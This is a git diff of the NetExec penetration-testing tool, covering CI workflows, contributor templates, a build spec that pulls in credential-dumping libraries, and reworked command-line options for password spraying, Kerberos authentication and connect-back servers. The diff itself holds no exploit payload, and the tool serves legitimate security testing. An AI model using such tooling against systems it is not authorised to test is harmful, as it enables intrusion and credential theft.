bbbb61a5e1 | ||
|
|
7fa783a09d | ||
|
|
b59246da68 | ||
|
|
e48a02d7d8 | ||
|
|
7c3e9a22da | ||
|
|
f08b58de8a | ||
|
|
e02fabc6b4 | ||
|
|
d0c996fc05 | ||
|
|
861626d061 | ||
|
|
b4f3bacb99 | ||
|
|
3eb421ef2a | ||
|
|
fd5d37eb13 | ||
|
|
57e31aef07 | ||
|
|
76f23d422d | ||
|
|
c6e5fdb205 | ||
|
|
5e282156bb | ||
|
|
0b7756f3f6 | ||
|
|
50f2e5d1c1 | ||
|
|
47a158fdc2 | ||
|
|
2e0a73c225 | ||
|
|
bab6377101 | ||
|
|
9a4594ea40 | ||
|
|
6f8143136c | ||
|
|
2915a54811 | ||
|
|
0d5030be81 | ||
|
|
cdced86af4 | ||
|
|
cbefc31a04 | ||
|
|
e898c25716 |
No files matched your search
@@ -0,0 +1,18 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Request a new feature or enhancement
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
**Please Describe The Problem To Be Solved**
|
||||
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
|
||||
|
||||
**(Optional): Suggest A Solution**
|
||||
(Replace This Text: A concise description of your preferred solution. Things to address include:
|
||||
* Details of the technical implementation
|
||||
* Tradeoffs made in design decisions
|
||||
* Caveats and considerations for the future
|
||||
|
||||
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
|
||||
@@ -0,0 +1,44 @@
|
||||
---
|
||||
name: Pull request
|
||||
about: Update code to fix a bug or add an enhancement/feature
|
||||
title: ''
|
||||
labels: ''
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
## Description
|
||||
|
||||
Please include a summary of the change and which issue is fixed, or what the enhancement does.
|
||||
Please also include relevant motivation and context.
|
||||
List any dependencies that are required for this change.
|
||||
|
||||
## Type of change
|
||||
Please delete options that are not relevant.
|
||||
- [ ] Bug fix (non-breaking change which fixes an issue)
|
||||
- [ ] New feature (non-breaking change which adds functionality)
|
||||
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
|
||||
- [ ] This change requires a documentation update
|
||||
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
|
||||
|
||||
## How Has This Been Tested?
|
||||
Please describe the tests that you ran to verify your changes (e2e, single commands, etc)
|
||||
Please also list any relevant details for your test configuration, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions
|
||||
|
||||
If you are using poetry, you can easily run tests via:
|
||||
`poetry run python tests/e2e_tests.py -t $TARGET -u $USER -p $PASSWORD`
|
||||
There are additional options like `--errors` to display ALL errors (some may not be failures), `--poetry` (output will include the poetry run prepended), `--line-num $START-$END $SINGLE` for only running a subset
|
||||
|
||||
## Screenshots (if appropriate):
|
||||
Screenshots are always nice to have and can give a visual representation of the change.
|
||||
If appropriate include before and after screenshot(s) to show which results are to be expected.
|
||||
|
||||
## Checklist:
|
||||
|
||||
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
|
||||
- [ ] I have added or updated the tests/e2e_commands.txt file if necessary
|
||||
- [ ] New and existing e2e tests pass locally with my changes
|
||||
- [ ] My code follows the style guidelines of this project (should be covered by Ruff above)
|
||||
- [ ] If reliant on third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
|
||||
- [ ] I have performed a self-review of my own code
|
||||
- [ ] I have commented my code, particularly in hard-to-understand areas
|
||||
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
|
||||
@@ -13,9 +13,9 @@ jobs:
|
||||
python-version: ["3.11"]
|
||||
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Build Native Binary
|
||||
@@ -12,9 +12,9 @@ jobs:
|
||||
os: [ubuntu-latest, macOS-latest, windows-latest]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Build Python ZipApp with Shiv
|
||||
@@ -1,22 +1,23 @@
|
||||
name: Lint Python code with ruff
|
||||
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
|
||||
|
||||
on: [push, pull_request]
|
||||
on:
|
||||
push:
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: Lint Python code with ruff
|
||||
runs-on: ubuntu-latest
|
||||
if:
|
||||
github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.11
|
||||
cache: poetry
|
||||
|
||||
+37
-18
@@ -1,32 +1,51 @@
|
||||
name: NetExec Tests
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request_review:
|
||||
types: [submitted]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: NetExec Tests for Py${{ matrix.python-version }}
|
||||
name: Test for Py${{ matrix.python-version }}
|
||||
if: github.event.review.state == 'APPROVED'
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
max-parallel: 5
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
|
||||
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- name: NetExec set up python on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Run the e2e test
|
||||
run: |
|
||||
poetry run pytest tests
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry
|
||||
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
cache: poetry
|
||||
cache-dependency-path: poetry.lock
|
||||
- name: Install with pipx
|
||||
run: |
|
||||
pipx install . --python python${{ matrix.python-version }}
|
||||
- name: Install poetry
|
||||
run: |
|
||||
pipx install poetry --python python${{ matrix.python-version }}
|
||||
poetry --version
|
||||
poetry env info
|
||||
- name: Install libraries with dev group
|
||||
run: |
|
||||
poetry install --with dev
|
||||
- name: Load every protocol and module
|
||||
run: |
|
||||
poetry run netexec winrm 127.0.0.1
|
||||
poetry run netexec vnc 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1
|
||||
poetry run netexec ldap 127.0.0.1
|
||||
poetry run netexec wmi 127.0.0.1
|
||||
poetry run netexec rdp 127.0.0.1
|
||||
poetry run netexec mssql 127.0.0.1
|
||||
poetry run netexec ssh 127.0.0.1
|
||||
poetry run netexec ftp 127.0.0.1
|
||||
poetry run netexec smb 127.0.0.1 -M veeam
|
||||
@@ -1,8 +1,10 @@
|
||||
data/nxc.db
|
||||
hash_spider_default.sqlite3
|
||||
hash_spider_testing.sqlite3
|
||||
*.bak
|
||||
*.log
|
||||
.venv
|
||||
pyvenv.cfg
|
||||
.vscode
|
||||
.idea
|
||||
# Byte-compiled / optimized / DLL files
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||

|
||||

|
||||
[](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
|
||||
[](https://twitter.com/intent/follow?screen_name=_zblurx)
|
||||
[](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
|
||||
@@ -21,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
|
||||
|
||||
You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
|
||||
|
||||
- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues)
|
||||
- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues)
|
||||
- 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
|
||||
- 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
|
||||
|
||||
@@ -37,6 +37,17 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
|
||||
# Installation
|
||||
Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
|
||||
|
||||
## Linux
|
||||
```
|
||||
sudo apt install pipx git
|
||||
pipx ensurepath
|
||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
||||
```
|
||||
|
||||
## Availability on Unix distributions
|
||||
|
||||
[](https://repology.org/project/netexec/versions)
|
||||
|
||||
# Development
|
||||
Development guidelines and recommendations in development
|
||||
|
||||
|
||||
@@ -13,12 +13,19 @@ a = Analysis(
|
||||
('./nxc/modules', 'nxc/modules')
|
||||
],
|
||||
hiddenimports=[
|
||||
'aardwolf',
|
||||
'aardwolf.connection',
|
||||
'aardwolf.commons.queuedata.constants',
|
||||
'aardwolf.commons.iosettings',
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'impacket.examples.secretsdump',
|
||||
'impacket.dcerpc.v5.lsat',
|
||||
'impacket.dcerpc.v5.transport',
|
||||
'impacket.dcerpc.v5.lsad',
|
||||
'impacket.dcerpc.v5.gkdi',
|
||||
'impacket.dcerpc.v5.rprn',
|
||||
'impacket.dcerpc.v5.even',
|
||||
'impacket.dpapi_ng',
|
||||
'impacket.tds',
|
||||
'impacket.version',
|
||||
@@ -32,14 +39,17 @@ a = Analysis(
|
||||
'nxc.protocols.smb.smbspider',
|
||||
'nxc.protocols.smb.passpol',
|
||||
'nxc.protocols.mssql.mssqlexec',
|
||||
'nxc.parsers.ldap_results',
|
||||
'nxc.helpers.bash',
|
||||
'nxc.helpers.bloodhound',
|
||||
'nxc.helpers.msada_guids',
|
||||
'nxc.helpers.ntlm_parser',
|
||||
'paramiko',
|
||||
'pypsrp.client',
|
||||
'pywerview.cli.helpers',
|
||||
'pylnk3',
|
||||
'pypykatz',
|
||||
'pyNfsClient',
|
||||
'masky',
|
||||
'msldap',
|
||||
'msldap.connection',
|
||||
@@ -59,12 +69,16 @@ a = Analysis(
|
||||
'dploot.triage.browser',
|
||||
'dploot.triage.credentials',
|
||||
'dploot.triage.masterkeys',
|
||||
'dploot.triage.mobaxterm',
|
||||
'dploot.triage.backupkey',
|
||||
'dploot.triage.wifi',
|
||||
'dploot.triage.sccm',
|
||||
'dploot.lib.target',
|
||||
'dploot.lib.smb',
|
||||
'pyasn1_modules.rfc5652',
|
||||
'unicrypto.backends.pycryptodomex',
|
||||
'dateutil.relativedelta',
|
||||
'sspilib.raw._text',
|
||||
],
|
||||
hookspath=['./nxc/.hooks'],
|
||||
runtime_hooks=[],
|
||||
|
||||
+99
-47
@@ -1,21 +1,57 @@
|
||||
import argparse
|
||||
import argcomplete
|
||||
import sys
|
||||
from argparse import RawTextHelpFormatter
|
||||
from os import listdir
|
||||
from os.path import dirname
|
||||
from os.path import join as path_join
|
||||
import nxc
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
from nxc.logger import nxc_logger, setup_debug_logging
|
||||
import importlib.metadata
|
||||
|
||||
|
||||
def gen_cli_args():
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
CODENAME = "nxc4u"
|
||||
|
||||
parser = argparse.ArgumentParser(description=f"""
|
||||
setup_debug_logging()
|
||||
|
||||
try:
|
||||
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
|
||||
except ValueError:
|
||||
VERSION = importlib.metadata.version("netexec")
|
||||
COMMIT = ""
|
||||
CODENAME = "NeedForSpeed"
|
||||
nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}")
|
||||
|
||||
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
|
||||
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
|
||||
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
|
||||
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
|
||||
|
||||
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
|
||||
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
|
||||
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
|
||||
|
||||
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
dns_group = dns_parser.add_argument_group("DNS")
|
||||
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
|
||||
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
|
||||
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
|
||||
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
|
||||
|
||||
parser = argparse.ArgumentParser(
|
||||
description=rf"""
|
||||
. .
|
||||
.| |. _ _ _ _____
|
||||
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
|
||||
\\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
|
||||
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
|
||||
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
|
||||
ॱ \ / ॱ
|
||||
@@ -28,48 +64,46 @@ def gen_cli_args():
|
||||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
{highlight('Codename', 'red')}: {highlight(CODENAME)}
|
||||
""", formatter_class=RawTextHelpFormatter)
|
||||
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
|
||||
parser.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread (default: None)")
|
||||
parser.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each connection (default: None)")
|
||||
parser.add_argument("--no-progress", action="store_true", help="Not displaying progress bar during scan")
|
||||
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
parser.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
parser.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
{highlight('Commit', 'red')} : {highlight(COMMIT)}
|
||||
""",
|
||||
formatter_class=RawTextHelpFormatter,
|
||||
parents=[generic_parser, output_parser, dns_parser]
|
||||
)
|
||||
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False)
|
||||
mgroup = module_parser.add_mutually_exclusive_group()
|
||||
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
|
||||
module_parser.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
module_parser.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
module_parser.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server (default: https)")
|
||||
module_parser.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to (default: 0.0.0.0)")
|
||||
module_parser.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
module_parser.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to (default: same as server-host)")
|
||||
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
|
||||
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
|
||||
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
|
||||
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
|
||||
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
std_parser.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||
std_parser.add_argument("-u", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
std_parser.add_argument("-p", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
|
||||
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
|
||||
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
||||
std_parser.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
|
||||
std_parser.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
std_parser.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
|
||||
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
|
||||
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
|
||||
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
||||
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
|
||||
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
|
||||
fail_group = std_parser.add_mutually_exclusive_group()
|
||||
fail_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
|
||||
fail_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
fail_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
|
||||
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
|
||||
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
|
||||
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
|
||||
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
@@ -77,18 +111,36 @@ def gen_cli_args():
|
||||
try:
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
|
||||
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
|
||||
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
|
||||
except Exception as e:
|
||||
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
|
||||
|
||||
argcomplete.autocomplete(parser)
|
||||
args = parser.parse_args()
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.version:
|
||||
print(f"{VERSION} - {CODENAME}")
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT}")
|
||||
sys.exit(1)
|
||||
|
||||
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
|
||||
if hasattr(args, "get_output_tries"):
|
||||
args.get_output_tries = args.get_output_tries * 10
|
||||
|
||||
return args
|
||||
|
||||
|
||||
def get_module_names():
|
||||
"""Get module names without initializing them"""
|
||||
modules = []
|
||||
modules_paths = [
|
||||
path_join(dirname(nxc.__file__), "modules"),
|
||||
path_join(NXC_PATH, "modules"),
|
||||
]
|
||||
|
||||
for path in modules_paths:
|
||||
modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
|
||||
return sorted(modules, key=str.casefold)
|
||||
+2
-2
@@ -43,5 +43,5 @@ if len(host_info_colors) != 4:
|
||||
|
||||
# this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
|
||||
def process_secret(text):
|
||||
hidden = text[:reveal_chars_of_pwd]
|
||||
return text if not audit_mode else hidden + audit_mode * 8
|
||||
reveal = text[:reveal_chars_of_pwd]
|
||||
return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)
|
||||
+166
-62
@@ -4,50 +4,96 @@ from threading import BoundedSemaphore
|
||||
from functools import wraps
|
||||
from time import sleep
|
||||
from ipaddress import ip_address
|
||||
from dns import resolver, rdatatype
|
||||
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
global_failed_logins = 0
|
||||
user_failed_logins = {}
|
||||
|
||||
|
||||
def gethost_addrinfo(hostname):
|
||||
is_ipv6 = False
|
||||
is_link_local_ipv6 = False
|
||||
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
|
||||
result = {
|
||||
"host": "",
|
||||
"is_ipv6": False,
|
||||
"is_link_local_ipv6": False
|
||||
}
|
||||
address_info = {"AF_INET6": "", "AF_INET": ""}
|
||||
|
||||
for res in getaddrinfo(hostname, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, _, _, canonname, sa = res
|
||||
address_info[af.name] = sa[0]
|
||||
try:
|
||||
if ip_address(target).version == 4:
|
||||
address_info["AF_INET"] = target
|
||||
else:
|
||||
address_info["AF_INET6"] = target
|
||||
except Exception:
|
||||
# If the target is not an IP address, we need to resolve it
|
||||
if not (dns_server or dns_tcp):
|
||||
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, _, _, canonname, sa = res
|
||||
address_info[af.name] = sa[0]
|
||||
|
||||
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
|
||||
address_info["AF_INET6"] = canonname
|
||||
result["is_link_local_ipv6"] = True
|
||||
else:
|
||||
dnsresolver = resolver.Resolver()
|
||||
dnsresolver.timeout = dns_timeout
|
||||
dnsresolver.lifetime = dns_timeout
|
||||
|
||||
if dns_server:
|
||||
dnsresolver.nameservers = [dns_server]
|
||||
|
||||
try:
|
||||
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
|
||||
address_info["AF_INET"] = answers_ipv4[0].address
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
|
||||
address_info["AF_INET6"] = answers_ipv6[0].address
|
||||
|
||||
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
|
||||
result["is_link_local_ipv6"] = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
|
||||
raise Exception(f"The DNS query name does not exist: {target}")
|
||||
|
||||
# IPv4 preferred
|
||||
if address_info["AF_INET"]:
|
||||
host = address_info["AF_INET"]
|
||||
if address_info["AF_INET"] and not force_ipv6:
|
||||
result["host"] = address_info["AF_INET"]
|
||||
else:
|
||||
is_ipv6 = True
|
||||
host, is_link_local_ipv6 = (canonname, True) if ip_address(address_info["AF_INET6"]).is_link_local else (address_info["AF_INET6"], False)
|
||||
result["is_ipv6"] = True
|
||||
result["host"] = address_info["AF_INET6"]
|
||||
|
||||
return host, is_ipv6, is_link_local_ipv6
|
||||
return result
|
||||
|
||||
|
||||
def requires_admin(func):
|
||||
def _decorator(self, *args, **kwargs):
|
||||
if self.admin_privs is False:
|
||||
if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
|
||||
return func(self, *args, **kwargs)
|
||||
return None
|
||||
return func(self, *args, **kwargs)
|
||||
|
||||
return wraps(func)(_decorator)
|
||||
|
||||
|
||||
def dcom_FirewallChecker(iInterface, timeout):
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding["wTowerId"] == 7:
|
||||
@@ -67,6 +113,7 @@ def dcom_FirewallChecker(iInterface, timeout):
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
@@ -78,49 +125,70 @@ def dcom_FirewallChecker(iInterface, timeout):
|
||||
|
||||
|
||||
class connection:
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
def __init__(self, args, db, target):
|
||||
self.args = args
|
||||
self.db = db
|
||||
self.hostname = host
|
||||
self.port = self.args.port
|
||||
self.logger = nxc_logger
|
||||
self.conn = None
|
||||
self.admin_privs = False
|
||||
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate))
|
||||
